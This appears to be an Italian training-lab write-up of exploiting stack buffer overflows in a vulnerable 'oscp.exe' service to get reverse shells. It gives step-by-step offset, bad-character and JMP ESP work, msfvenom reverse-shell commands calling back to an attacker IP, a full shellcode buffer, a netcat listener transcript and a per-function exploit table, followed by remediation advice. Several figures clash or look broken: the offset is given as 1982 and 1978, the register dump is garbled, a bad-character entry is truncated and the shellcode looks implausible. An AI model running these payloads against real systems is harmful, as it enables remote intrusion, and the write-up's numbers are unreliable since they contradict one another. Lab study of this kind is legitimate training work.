

# CRACKING DI UN BUFFER OVERFLOW

# OBIETTIVO

Sfruttare le vulnerabilità di buffer overflow su un binario target per manipolare il flusso di esecuzione (EIP) e eseguire codice remoto, per ottenere una reverse shell.

## AMBIENTE DI LAVORO

L'esercizio è stato svolto in ambiente sicuro e controllato. Come macchina attaccante è stata usata la Kali (Virtual Box), e come target una macchina Windows 10 ospitate l'eseguitibile vulnerabile.

# ATTACCO E SFRUTTAMENTO DI UN BUFFER OVERFLOW

## FASE 1: TEST DI CRASH

All'interno della macchina target ho aperto nella macchina target Immunity Debugger, uno strumento che permette l'analisi di codice binario, da cui ho attivato il binario vulnerabile(oscp.exe).

Dalla macchina target ho avuto accesso tramite netcat a oscp.exe, per verificare se la prima funzione (OVERFLOW1) fosse vulnerabile e poi ho mandato una stringa lunga di A per innescare l'overflow e crashare il programma.

```
[kali@kali]:~$ nc -q 192.168.100.150 1337
Welcome to OSCP Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
OVERFLOW [value]
OVERFLOW2 [value]
OVERFLOW3 [value]
OVERFLOW4 [value]
OVERFLOW5 [value]
OVERFLOW6 [value]
OVERFLOW7 [value]
OVERFLOW8 [value]
OVERFLOW9 [value]
EXIT
OVERSLOW test
OVERSLOW COMPLETE
```

Dall'analisi del Crash si evince che il puntatore dello stack (ESP) punta ad una sequenza di A e l'EIP ha valore 0x41414141. Questo dimostra che è vulnerabile al buffer overflow e si può modificare l'indirizzo per puntare al payload.

[illegible]

## FASE 2: CALCOLO DELL'OFFSET

Per poter calcolare l'offset ho mandato un secondo attacco immettendo una stringa generata da `pattern_create`.

[illegible]

In seguito ho rilevato il valore di in esadecimale di EIP (0x6f43396e), che ho riconvertito in ASCII tramite script di python (n9Co). Questo valore ha permesso grazie a pattern\_offset.rb di ottenere l'offset (1982).

```
(kali@kali)-[~]
$ python
Python 3.14.6 (main, Jun 10 2026, 18:54:31) [GCC 15.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import struct
>>> struct.pack("<I", 0x6F43396e)
b'n9Co'
>>> |

(kali@kali)-[~]
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q n9Co

[*] Exact match at offset 1978
```

Infine ho testato l'offset grazie ad un PoC su python.

```

XEN 0003F269 ASCII "OVERFLOW! AAAAAAAAAAAAAAAAAAAAAAAAAA
ECN 00015014
ESP 00014141
ESP 00014141
ESP 0003FAC3 ASCII "CCCCCCCCCCCCCCCC"
ESP 00014141
ESP 00040173 oscp.00401973
ESP 000401973 osci.00401973
EIP 00042430
C 0 E3 002B 32bit 0(FFFFFFFF)
C 0 S3 0023 32bit 0(FFFFFFFF)
C 0 D3 002B 32bit 0(FFFFFFFF)
C 0 F3 0053 32bit 7F(DFFFFFFF)
C 0 D3 002B 32bit 0(FFFFFFFF)
D 0
D 0
D 0 LastErr: ERROR_SUCCESS (0x00000000)
EFL 00010246 (NO, NB, E, BE, NS, PE, GE, LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
ST8 empty g
ST9 empty g
FST 0000 Cond 0 2 0 0 P 0 0 S P U Q Z D I
FCM 027F Prec NEAR,S3 Err 0 0 0 0 0 0 0 0 (GT)
Mask 1 1 1 1 1

```

Il valore dell'EIP (0x42424242) conferma che l'offset calcolato è quello giusto.

## FASE 3: IDENTIFICAZIONE DEI BADCHAR

Per questa fase è stato necessario utilizzare lo script Mona, ma per farlo ho dovuto configurarlo impostando la cartella di lavoro tramite comando `!mona config -set workingfolder c:\mona\%`. Poi ho generato un bytearray di riferimento con il comando `!mona bytearray -b "\x00"`, che crea un array contenente tutti i byte escludendo `\x00`.

Per individuare i caratteri non validi ho usato uno script python, che invia tutti i byte possibili subito dopo il registro EIP per verificare quale di essi vengono modificati e ho impostato Mona con il comando `!mona compare -f C:\mona\oscp\bytearray.bin -a esp`, per confrontare il bytearray di riferimento con quello presente all'indirizzo puntato da ESP.

| mona Memory comparison results |                          |                   |        |
|--------------------------------|--------------------------|-------------------|--------|
| Address                        | Status                   | BadChars          | Type   |
| 0x00cfa28                      | Corruption after 6 bytes | 00 07 2e 2f a0 a1 | normal |

Nei risultati ottenuti però sono presenti vari byte successivi, che sono stati verificati ripetendo il processo aggiungendo ad ogni ciclo nello script di python i valori badchar rilevati.

| mona Memory comparison results |                          |             |        |
|--------------------------------|--------------------------|-------------|--------|
| Address                        | Status                   | BadChars    | Type   |
| 0x007ffa28                     | Corruption after 6 bytes | 00 07 2e a0 | normal |

## FASE 4: CREAZIONE DELLO SHELLCODE

Conoscendo i badchar ho potuto creare il payload che darà l'esecuzione di codice remoto sfruttando msfvenom con il comando:

```
msfvenom -p windows/shell_reverse_tcp LHOST=<192.168.200.100> LPORT=1234 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f python
```

- LHOST: indirizzo della macchina attaccante.
- LPORT: La porta da mettere in ascolto durante la connessione.
- EXITFUNC: Specifica che dovrà terminare il processo dopo aver completato l'esecuzione.
- -b: Identifica i badchar da ignorare.
- -f python: Indica che l'output deve essere formattato per python.

```
(kali@kali)~$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.100 LPORT=1234 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1745 bytes
buf = b""
buf += b"\xd9\xee\xba\x22\x4d\x7d\xaf\xd9\x74\x24\xf4\x5b"
buf += b"\x2b\xce\x81\x52\x21\x53\x27\x83\x53\x27\x8b\xce"
buf += b"\x49\x9f\x5a\x19\xb9\xdd\x45\x01\x3a\x82\x2c\x04"
buf += b"\x0b\x82\x4b\x4d\x3c\x32\x1f\x83\x21\xb9\x4d\xb7"
buf += b"\x42\xcf\x59\x8b\x83\x7a\xbc\x7f\xf4\x07\xfc\x96"
buf += b"\x76\x2a\x01\x78\x46\x05\x24\x79\x8f\x10\xcc\x2b"
buf += b"\x58\x56\x7b\xdb\xed\x22\x40\x5d\xbd\x8a\x30\x85"
buf += b"\x76\x05\x01\x38\x0c\x9c\x21\x9b\x01\x94\x0b\x83"
buf += b"\x06\x0b\x22\x38\xfc\x66\x05\x0e\x0c\x0f\x1a\x05"
buf += b"\x00\x7d\x62\x12\xcc\x9d\x11\x6a\x54\x23\x22\x99"
buf += b"\x46\xff\x7a\x29\x00\x74\x1f\x95\x10\x58\x0c\x5e"
buf += b"\x1e\x15\x8c\x38\x03\x8b\x41\x33\x3f\x21\x64\x93"
buf += b"\xc9\x71\x43\x03\x01\x22\x0a\x06\x7f\x80\x11\x70"
buf += b"\x20\x79\xb6\xfb\xcd\x6e\xcb\x8a\x99\x43\x06\x58"
buf += b"\x5a\xcc\x71\x2b\x08\x53\x2a\x3a\x30\x1c\xf4\x34"
buf += b"\x2d\x37\x40\xaa\x09\x08\x01\x03\x10\xec\x01\x00"
buf += b"\xb6\x09\x5b\x58\x5d\x8b\x06\x33\xf4\xfb"
buf += b"\x56\x04\x96\x11\x59\xdb\x87\x1a\x03\x74\x2d\xe1"
buf += b"\x54\x0b\x1a\x21\x00\x53\x59\xb1\x0d\x76\x04\x57"
buf += b"\x07\x06\x01\x0c\x10\x1f\x98\x9a\x01\x0e\x03\x77"
buf += b"\x82\x0b\x05\x18\x4c\x9c\x00\x0a\x39\x6c\x8f\x70"
buf += b"\xec\x73\x25\x1c\x72\x01\x02\xdc\xfd\x1a\x7d\x8b"
buf += b"\xaa\xed\x74\x59\x47\x57\x2f\x7f\x0a\x01\x00\x30"
buf += b"\x41\xf2\x07\x02\x04\x4e\x01\x0a\x00\x0f\x00\x00"
buf += b"\x8c\x19\x56\x7e\x0b\xf0\x18\x28\x25\xaf\xf2\xbc"
buf += b"\xb0\x83\x04\xba\xbc\x09\x02\x22\x0c\x0a\x02\x5d"
buf += b"\x12\x03\x28\x0f\x0b\x0e\x0d\x0c\x0b\x00\x0c\xcc"
buf += b"\x0b\x04\x08\x0b\x31\x08\x6a\x16\x75\x05\x08\x92"
buf += b"\x06\x42\xf0\x07\x03\x0e\x06\x04\x7e\x1f\x53\x2a"
buf += b"\x2d\x20\x76"
```

## FASE 5: RICERCA DI UN GADJET ADATTO

Attraverso il comando `!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"` di Mona è stato possibile trovare indirizzi eseguibili contenenti l'istruzione `jmp esp` senza ASLR attivo e senza badchar. Degli indirizzi trovati ho scelto `0x625011af`.

## FASE 6: EXPLOIT FINALE

Ho inserito nello script python dell'exploit: la shellcode generata, l'indirizzo del puntatore `jmp esp` e l'offset. Dal terminale della Kali ho attivato la connessione tramite netcat, alla porta indicata nel comando di msfvenom, e ho avviato l'attacco che ha creato la reverse shell.

```
(kali@kali)-[~]
$ sudo nc -nvlp 1234
[sudo] password for kali:
listening on [any] 1234 ...
connect to [192.168.200.100] from (UNKNOWN) [192.168.200.150] 49451
Microsoft Windows [Versione 10.0.10240]
(c) 2015 Microsoft Corporation. Tutti i diritti sono riservati.

C:\Users\user\Desktop\oscp>
```

Per le altre funzioni ho ripetuto gli stessi passaggi, anche se per OVERFLOW5 e OVERFLOW10 è stato necessario generare tramite `patter_create` una stringa con un pattern più corto per adattarla alla dimensione del buffer della funzione analizzata.

## TABELLA RIEPILOGATIVA DEI PARAMETRI DI EXPLOT (OVERFLOW2-OVERFLOW10)

| Funzione         | Offset EIP | Offset ESP | Bad Characters                             | Indirizzo JMP ESP | Comando Msfvenom                                                                                                                            |
|------------------|------------|------------|--------------------------------------------|-------------------|---------------------------------------------------------------------------------------------------------------------------------------------|
| <b>OVERFLOW2</b> | 634        | 638        | <code>\x00 \x23 \x3c \x83 \xba</code>      | 625011af          | <code>msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.100 LPORT=1234 EXITFUNC=thread -b "\x00 \x23 \x3c \x83 \xba" -f python</code> |
| <b>OVERFLOW3</b> | 1274       | 1278       | <code>\x00 \x11 \x40 \x5f \xb8 \xee</code> | 62501205          | <code>msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.100 LPORT=1234 EXITFUNC=thread -b "\x00 \x11 \x40 \x5f</code>                 |

| Funzione         | Offset EIP | Offset ESP | Bad Characters           | Indirizzo JMP ESP | Comando Msfvenom                                                                                                                |
|------------------|------------|------------|--------------------------|-------------------|---------------------------------------------------------------------------------------------------------------------------------|
|                  |            |            |                          |                   | \xb8 \xee" -f python                                                                                                            |
| <b>OVERFLOW4</b> | 2026       | 2030       | \x00\xa9\xcd\x4          | 625011AF          | msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200 .100 LPORT=1234 EXITFUNC=thread -b "\x00\xa9\xcd\x4" -f python          |
| <b>OVERFLOW5</b> | 314        | 318        | \x00 \x16 \x2f \xf4 \xfd | 625011AF          | msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200 .100 LPORT=1234 EXITFUNC=thread -b "\x00 \x16 \x2f \xf4 \xfd" -f python |
| <b>OVERFLOW6</b> | 1034       | 1038       | \x00 \x08 \x2c \xad      | 625011AF          | msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200 .100 LPORT=1234 EXITFUNC=thread -b "\x00 \x08 \x2c \xad" -f python      |
| <b>OVERFLOW7</b> | 1306       | 1310       | \x00 \x8c \xae \xbe \xfb | 625011AF          | msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200 .100 LPORT=1234 EXITFUNC=thread -b "\x00 \x8c \xae \xbe \xfb" -f python |
| <b>OVERFLOW8</b> | 1786       | 1790       | \x00 \x1d \x2e \xc7 \xee | 625011AF          | msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200 .100 LPORT=1234 EXITFUNC=thread -b "\x00 \x1d \x2e \xc7 \xee" -f python |
| <b>OVERFLOW9</b> | 1514       | 1518       | \x00 \x04 \x3e \x3f \xe1 | 625011AF          | msfvenom -p windows/shell_reverse_tcp                                                                                           |

| Funzione          | Offset EIP | Offset ESP | Bad Characters                | Indirizzo JMP ESP | Comando Msfvenom                                                                                                                    |
|-------------------|------------|------------|-------------------------------|-------------------|-------------------------------------------------------------------------------------------------------------------------------------|
|                   |            |            |                               |                   | LHOST=192.168.200.100 LPORT=1234 EXITFUNC=thread -b "\x00 \x04 \x3e \x3f \xe1" -f python                                            |
| <b>OVERFLOW10</b> | 537        | 541        | \x00 \xa0 \xad \xbe \xde \xef | 625011AF          | msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.100 LPORT=1234 EXITFUNC=thread -b "\x00 \xa0 \xad \xbe \xde \xef" -f python |

## CONCLUSIONE E REMEDIATION

L'attività ha dimostrato con successo lo sfruttamento di dieci vulnerabilità di stack-based buffer overflow (OVERFLOW1–10) su ambiente Windows 10, sfruttando l'analisi degli offset di EIP ed ESP, l'esclusione dei bad characters e l'uso di puntatori JMP ESP per l'ottenimento di reverse shell interattive.

### Misure di Remediation

- **Validazione e sanitizzazione:** Implementare controlli severi sulla lunghezza dei dati in ingresso e sostituire funzioni di copia insicure (come `strcpy` o `sprintf`) con varianti sicure e dimensionate (`strncpy`, `snprintf`).
- **Protezioni di memoria:** Abilitare meccanismi di mitigazione avanzati del sistema operativo e del compilatore, tra cui DEP/NX (Data Execution Prevention), ASLR (Address Space Layout Randomization) e Stack Canaries.
- **Secure Coding e Code Review:** Introdurre sessioni periodiche di revisione del codice e l'impiego di strumenti di analisi statica (SAST) all'interno del ciclo di vita dello sviluppo software per intercettare le falle prima del rilascio.